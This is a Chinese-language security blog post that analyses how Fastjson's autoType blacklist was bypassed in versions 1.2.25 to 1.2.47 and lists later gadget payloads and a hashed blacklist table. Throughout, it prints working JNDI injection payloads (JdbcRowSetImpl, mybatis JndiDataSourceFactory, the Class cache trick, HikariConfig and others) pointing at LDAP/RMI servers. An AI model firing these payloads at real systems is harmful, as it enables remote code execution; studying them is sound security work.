Fastjson1.2.25-1.2.47绕过
1.2.25 修复分析
首先导入1.2.25版本的修复吧,在pom.xml中导入对应版本
1 | <dependency> |
运行一下TemplatesImpl这条链发现存在之前没有的报错
调试一下发现来到了下面这里
在1.2.24版本中这里是直接调用了loadClass如下图
而在1.2.25里是调用了checkAutoType
进去看看这个方法干了什么,这里白日梦组长根据流程画了一个流程图如下,手工复制可能会有些错误
在checkAutoType
中通过黑(denyList)白(acceptList)名单对类进行检验
这里白名单默认为空,可手动添加,黑名单默认不为空,在默认情况下,autoTypeSupport为False,即先进行黑名单过滤,遍历denyList,如果引入的库以denyList中某个deny开头,就会抛出异常,中断运行,可以看到图中就检查到了com.sun
然后直接跳出了
denyList黑名单中列出了常见的反序列化漏洞利用链Gadgets:
1 | bsh |
调试中可以看到因为autoTypeSupport为False所以进行黑名单校验然后抛异常退出,那么看看autoTypeSupport是什么
autoTypeSupport
autoTypeSupport是checkAutoType()
函数出现后ParserConfig.java中新增的一个配置选项,在checkAutoType()
函数的某些代码逻辑起到开关的作用。
默认情况下autoTypeSupport为False,将其设置为True有两种方法:
- JVM启动参数:
-Dfastjson.parser.autoTypeSupport=true
- 代码中设置:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
,如果有使用非全局ParserConfig则用另外调用setAutoTypeSupport(true);
AutoType白名单设置方法:
- JVM启动参数:
-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.
- 代码中设置:
ParserConfig.getGlobalInstance().addAccept("com.xx.a");
- 通过fastjson.properties文件配置。在1.2.25/1.2.26版本支持通过类路径的fastjson.properties文件来配置,配置方式如下:
fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao.
1.2.25~1.2.41绕过
先看exp,server端和之前一样
1 | package bypass; |
和之前的区别就是开启了autoTypeSupport然后在com.sun.rowset.JdbcRowSetImpl
开头加了个L
结尾加个;
这样就绕过了
下面调试一下,这里的Lcom.sun.rowset.JdbcRowSetImpl;
类是不存在的
这里可以看到autoTypeSupport已经变为true了
然后来到了黑名单校验
这里会一个个检验最终检验不到跳出,可以自己手动跳出不然会判断很久,然后继续往下来到下面这里
进入这个loadClass,在下面这里会对类进行判断如果类的首尾是L
和;
后去掉首尾变为com.sun.rowset.JdbcRowSetImpl
储存在newClassName
最终在下面下面这里返回clazz即com.sun.rowset.JdbcRowSetImpl
后面就和之前的差不多了
1.2.25~1.2.42 绕过
在1.2.42版本发现上面的这个exp打不通了,新的exp如下
1 | package bypass; |
调试看一下,在下面这里调用了checkAutoType
跟进去看一下,在下面这里我们发现类名变为了Lcom.sun.rowset.JdbcRowSetImpl;
少了个L
和;
返回看下处理逻辑,发现这里的处理逻辑不再是明文,采用了加密混淆
并且黑名单也变为了如下形式
Fastjson把原本明文形式的黑名单改成了哈希过的黑名单,但是有人已在Github上跑出了大部分黑名单包类:
LeadroyaL/fastjson-blacklist (github.com)
实际上就是如果类名首尾存在L
和;
就会进行去除
可以看到此时className
变为了Lcom.sun.rowset.JdbcRowSetImpl;
最终会走到下面这里
后面的处理步骤就和1.2.41一样了,这里修复的感觉和我平时做事一样,考虑不全只去除了一次L
和;
1.2.25~1.2.43 绕过
这里上面的exp已经打不通了,不过先拿那个调一下看看在43版本是怎么处理的
首先是下面这里的判断,上面忘记说了,类名长度不能超过128且不能小于3否则抛出异常
可以看到在下面这里直接抛出了异常
在第二个if中对以LL开头的类直接抛出异常
在TypeUtils.loadClass
中还有个对以[
开头的类进行加载
那么将exp改下以[
开头自然就能绕过上面的if检测,然后继续调试来到下面这里
经过调试发现只是加个[
虽然能过检测但是无法弹出计算器且会报如下的错误
上面返回的类名是[com.sun.rowset.JdbcRowSetImpl
后面要完成的是反序列化,那么这个问题应该就是出在反序列化的步骤,继续调试,在下面这里可以看到返回的clazz是[Lcom.sun.rowset.JdbcRowSetImpl;
找到了抛出异常的位置在parseArray
方法中
那么解决这个报错问题是不是就行了呢?先试试,解决报错根据上面的报错改,上面的报错如下
1 | exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1099/ExportObject","autoCommit":"true" } |
在42的位置期待是[
但是为,
那么把exp改为如下
1 | "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[,\"dataSourceName\":\"ldap://127.0.0.1:1099/ExportObject\",\"autoCommit\":\"true\" }" |
这次又报错了,如下
1 | syntax error, expect {, actual string, pos 43, fastjson-version 1.2.43 |
在43的位置期待为{
那么加个看看
1 | "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://127.0.0.1:1099/ExportObject\",\"autoCommit\":\"true\" }"; |
弹出计算器成功
exp如下
1 | package bypass; |
1.2.25~1.2.45绕过
在这个版本中,利用的是org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
对黑名单绕过,但是有一定的前提条件
前提条件:需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。
这里ldap和rmi都能打,换个协议就行,本地的话server当然就要起rmi的了
导入mybatis的依赖
1 | <dependency> |
exp如下
1 | package bypass; |
下面调试看一下,如下可以看到类名如果以[
开头直接抛出异常结束
下面这里由于org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
不在黑名单进而绕过检测
然后就算对这个类的利用分析,通过exp可以看到是对properties属性的利用,由于在deserialze
方法下不太好调(技术太菜)直接来到JndiDataSourceFactory
类下,看到存在setter方法为setProperties()
fastjson能够自动调用,直接在该setter方法打断点,然后就是存在JNDI注入了,即InitialContext.lookup()
,其中参数由我们输入的properties属性中的data_source值获取的:
1.2.25~1.2.47绕过
在1.2.47版本中上面的exp又不行了,原因是这个类到黑名单去了
这次利用的是之前的payload在默认不开启AutoTypeSupport的情况下通过缓存加载JdbcRowSetImpl
类,exp如下
1 | package bypass; |
继续调试一下,在这里就可以结合着组长的那个图来分析了
在第一个中,因为在白名单中才能够进行缓存,所以这里不符合要求,第三个同理
在第二个返回类当中,期望类为空且类与期望类一致的时候返回类,这里我们的期望类为空,所以这里能够符合条件,所以我们在往上找,只要缓存中存在类,我们就能够进行加载。
第四个是基于期望类的,因为这里和期望类并无关所以也满足不了
进入false来到第五个,又因为默认情况下AutoType为false,所以也加载不了
所以现在就在缓存这块下功夫,看一下如何在缓存里面找到我们想要的类,这一块儿的流程如下图
由于AutoType为false所以不会进入第一轮的黑名单检测来到TypeUtils.getClassFromMapping
跟进来看看
发现是从mappings里面找缓存,然后find uages看看mappings什么时候赋值,复现进行赋值的地方很多,但是大多是指定了一些基础类进行的缓存而loadClass这里只要我们加载类成功以后,他就会放入缓存中,下次调用直接从缓存中进行加载,这里我们就要想怎么才能够在loadClass的时候将我们的类加载入缓存当中
然后继续寻找loadClass的调用,最终是找到了MiscCodec这个类,不知道为什么我find uages的时候找不到,如下
没办法只能手动进入了,在MiscCodec.deserialze()
中进行调用如下
现在来看看这个MiscCodec是个什么,发现它实现了序列化与反序列化的接口在fastJson的反序列化中也会把他当作反序列化器来进行调用
所以如果FastJson反序列化的类是属于Class.class的时候,就会调用MiscCodec反序列化器,然后调用loadClass,在传入我们想传入的字符串strVal后loadClass就会将字符串作为String className进行加载并放在缓存里面。
然后这里的有个检测要满足不然就会抛异常,即strVal的键是否为val是的话再提取它的值
然后赋值到objVal上
最后赋值给strVal
然后在缓存里面找到com.sun.rowset.JdbcRowSetImpl
返回clazz
最终的exp,这个的payload两次流程得写在一起一次性完成不然就读取不到缓存了,写法如下1
2
3
4
5
6
7
8
9
10
11
12package bypass;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.MiscCodec;
public class bypass47 {
public static void main(String[] args){
String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:1099/remoteObj\",\"AutoCommit\":\"false\"}}";
JSON.parseObject(s);
}
}
而在1.2.48版本中缓存开关cache默认设置为了False,这个就不行了,同时这个方法在47及前面的版本利用也分为了两段1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;
Fastjson <= 1.2.61 通杀
这个就记录一下payload吧,懒得跟了,看起来像是黑名单的绕过
Fastjson1.2.5 <= 1.2.59
需要开启AutoType
1 | {"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"} |
Fastjson1.2.5 <= 1.2.60
无需开启 autoType:
1 | {"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"} |
Fastjson1.2.5 <= 1.2.61
1 | {"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploi |
已知哈希黑名单
目前已知的哈希黑名单的对应表如下:
version | hash | hex-hash | name |
---|---|---|---|
1.2.42 | -8720046426850100497 | 0x86fc2bf9beaf7aefL | org.apache.commons.collections4.comparators |
1.2.42 | -8109300701639721088 | 0x8f75f9fa0df03f80L | org.python.core |
1.2.42 | -7966123100503199569 | 0x9172a53f157930afL | org.apache.tomcat |
1.2.42 | -7766605818834748097 | 0x9437792831df7d3fL | org.apache.xalan |
1.2.42 | -6835437086156813536 | 0xa123a62f93178b20L | javax.xml |
1.2.42 | -4837536971810737970 | 0xbcdd9dc12766f0ceL | org.springframework. |
1.2.42 | -4082057040235125754 | 0xc7599ebfe3e72406L | org.apache.commons.beanutils |
1.2.42 | -2364987994247679115 | 0xdf2ddff310cdb375L | org.apache.commons.collections.Transformer |
1.2.42 | -1872417015366588117 | 0xe603d6a51fad692bL | org.codehaus.groovy.runtime |
1.2.42 | -254670111376247151 | 0xfc773ae20c827691L | java.lang.Thread |
1.2.42 | -190281065685395680 | 0xfd5bfc610056d720L | javax.net. |
1.2.42 | 313864100207897507 | 0x45b11bc78a3aba3L | com.mchange |
1.2.42 | 1203232727967308606 | 0x10b2bdca849d9b3eL | org.apache.wicket.util |
1.2.42 | 1502845958873959152 | 0x14db2e6fead04af0L | java.util.jar. |
1.2.42 | 3547627781654598988 | 0x313bb4abd8d4554cL | org.mozilla.javascript |
1.2.42 | 3730752432285826863 | 0x33c64b921f523f2fL | java.rmi |
1.2.42 | 3794316665763266033 | 0x34a81ee78429fdf1L | java.util.prefs. |
1.2.42 | 4147696707147271408 | 0x398f942e01920cf0L | com.sun. |
1.2.42 | 5347909877633654828 | 0x4a3797b30328202cL | java.util.logging. |
1.2.42 | 5450448828334921485 | 0x4ba3e254e758d70dL | org.apache.bcel |
1.2.42 | 5751393439502795295 | 0x4fd10ddc6d13821fL | java.net.Socket |
1.2.42 | 5944107969236155580 | 0x527db6b46ce3bcbcL | org.apache.commons.fileupload |
1.2.42 | 6742705432718011780 | 0x5d92e6ddde40ed84L | org.jboss |
1.2.42 | 7179336928365889465 | 0x63a220e60a17c7b9L | org.hibernate |
1.2.42 | 7442624256860549330 | 0x6749835432e0f0d2L | org.apache.commons.collections.functors |
1.2.42 | 8838294710098435315 | 0x7aa7ee3627a19cf3L | org.apache.myfaces.context.servlet |
1.2.43 | -2262244760619952081 | 0xe09ae4604842582fL | java.net.URL |
1.2.46 | -8165637398350707645 | 0x8eadd40cb2a94443L | junit. |
1.2.46 | -8083514888460375884 | 0x8fd1960988bce8b4L | org.apache.ibatis.datasource |
1.2.46 | -7921218830998286408 | 0x92122d710e364fb8L | org.osjava.sj. |
1.2.46 | -7768608037458185275 | 0x94305c26580f73c5L | org.apache.log4j. |
1.2.46 | -6179589609550493385 | 0xaa3daffdb10c4937L | org.logicalcobwebs. |
1.2.46 | -5194641081268104286 | 0xb7e8ed757f5d13a2L | org.apache.logging. |
1.2.46 | -3935185854875733362 | 0xc963695082fd728eL | org.apache.commons.dbcp |
1.2.46 | -2753427844400776271 | 0xd9c9dbf6bbd27bb1L | com.ibatis.sqlmap.engine.datasource |
1.2.46 | -1589194880214235129 | 0xe9f20bad25f60807L | org.jdom. |
1.2.46 | 1073634739308289776 | 0xee6511b66fd5ef0L | org.slf4j. |
1.2.46 | 5688200883751798389 | 0x4ef08c90ff16c675L | javassist. |
1.2.46 | 7017492163108594270 | 0x616323f12c2ce25eL | oracle.net |
1.2.46 | 8389032537095247355 | 0x746bd4a53ec195fbL | org.jaxen. |
1.2.48 | 1459860845934817624 | 0x144277b467723158L | java.net.InetAddress |
1.2.48 | 8409640769019589119 | 0x74b50bb9260e31ffL | java.lang.Class |
1.2.49 | 4904007817188630457 | 0x440e89208f445fb9L | com.alibaba.fastjson.annotation |
1.2.59 | 5100336081510080343 | 0x46c808a4b5841f57L | org.apache.cxf.jaxrs.provider. |
1.2.59 | 6456855723474196908 | 0x599b5c1213a099acL | ch.qos.logback. |
1.2.59 | 8537233257283452655 | 0x767a586a5107feefL | net.sf.ehcache.transaction.manager. |
1.2.60 | 3688179072722109200 | 0x332f0b5369a18310L | com.zaxxer.hikari. |
1.2.61 | -4401390804044377335 | 0xc2eb1e621f439309L | flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor |
1.2.61 | -1650485814983027158 | 0xe9184be55b1d962aL | org.apache.openjpa.ee. |
1.2.61 | -1251419154176620831 | 0xeea210e8da2ec6e1L | oracle.jdbc.rowset.OracleJDBCRowSet |
1.2.61 | -9822483067882491 | 0xffdd1a80f1ed3405L | com.mysql.cj.jdbc.admin. |
1.2.61 | 99147092142056280 | 0x1603dc147a3e358L | oracle.jdbc.connector.OracleManagedConnectionFactory |
1.2.61 | 3114862868117605599 | 0x2b3a37467a344cdfL | org.apache.ibatis.parsing. |
1.2.61 | 4814658433570175913 | 0x42d11a560fc9fba9L | org.apache.axis2.jaxws.spi.handler. |
1.2.61 | 6511035576063254270 | 0x5a5bd85c072e5efeL | jodd.db.connection. |
1.2.61 | 8925522461579647174 | 0x7bddd363ad3998c6L | org.apache.commons.configuration.JNDIConfiguration |
1.2.62 | -9164606388214699518 | 0x80d0c70bcc2fea02L | org.apache.ibatis.executor. |
1.2.62 | -8649961213709896794 | 0x87f52a1b07ea33a6L | net.sf.cglib. |
1.2.62 | -5764804792063216819 | 0xafff4c95b99a334dL | com.mysql.cj.jdbc.MysqlDataSource |
1.2.62 | -4438775680185074100 | 0xc2664d0958ecfe4cL | aj.org.objectweb.asm. |
1.2.62 | -3319207949486691020 | 0xd1efcdf4b3316d34L | oracle.jdbc. |
1.2.62 | -2192804397019347313 | 0xe1919804d5bf468fL | org.apache.commons.collections.comparators. |
1.2.62 | -2095516571388852610 | 0xe2eb3ac7e56c467eL | net.sf.ehcache.hibernate. |
1.2.62 | 4750336058574309 | 0x10e067cd55c5e5L | com.mysql.cj.log. |
1.2.62 | 218512992947536312 | 0x3085068cb7201b8L | org.h2.jdbcx. |
1.2.62 | 823641066473609950 | 0xb6e292fa5955adeL | org.apache.commons.logging. |
1.2.62 | 1534439610567445754 | 0x154b6cb22d294cfaL | org.apache.ibatis.reflection. |
1.2.62 | 1818089308493370394 | 0x193b2697eaaed41aL | org.h2.server. |
1.2.62 | 2164696723069287854 | 0x1e0a8c3358ff3daeL | org.apache.ibatis.datasource. |
1.2.62 | 2653453629929770569 | 0x24d2f6048fef4e49L | org.objectweb.asm. |
1.2.62 | 2836431254737891113 | 0x275d0732b877af29L | flex.messaging.util.concurrent. |
1.2.62 | 3089451460101527857 | 0x2adfefbbfe29d931L | org.apache.ibatis.javassist. |
1.2.62 | 3718352661124136681 | 0x339a3e0b6beebee9L | org.apache.ibatis.ognl. |
1.2.62 | 4046190361520671643 | 0x3826f4b2380c8b9bL | com.mysql.cj.jdbc.MysqlConnectionPoolDataSource |
1.2.62 | 6280357960959217660 | 0x5728504a6d454ffcL | org.apache.ibatis.scripting. |
1.2.62 | 6734240326434096246 | 0x5d74d3e5b9370476L | com.mysql.cj.jdbc.MysqlXADataSource |
1.2.62 | 7123326897294507060 | 0x62db241274397c34L | org.apache.commons.collections.functors. |
1.2.62 | 8488266005336625107 | 0x75cc60f5871d0fd3L | org.apache.commons.configuration |
目前未知的哈希黑名单:
version | hash | hex-hash | name |
---|---|---|---|
1.2.42 | 33238344207745342 | 0x761619136cc13eL | |
1.2.62 | -6316154655839304624 | 0xa85882ce1044c450L | |
1.2.62 | -5472097725414717105 | 0xb40f341c746ec94fL | |
1.2.62 | -4608341446948126581 | 0xc00be1debaf2808bL | |
1.2.62 | 3256258368248066264 | 0x2d308dbbc851b0d8L | |
1.2.62 | 4841947709850912914 | 0x43320dc9d2ae0892L | |
1.2.62 | 6534946468240507089 | 0x5ab0cb3071ab40d1L |
参考
Java反序列化Fastjson篇03-Fastjson各版本绕过分析 | Drunkbaby’s Blog (drun1baby.top)
Fastjson历史漏洞研究(一) | 天融信阿尔法实验室 (topsec.com.cn)
Java反序列化之FastJson反序列化及绕过 - 先知社区 (aliyun.com)
https://www.bilibili.com/video/BV1bG4y157Ef/?spm_id_from=333.999.0.0&vd_source=fdbccecc8d1a39a2449860e47c52b6e7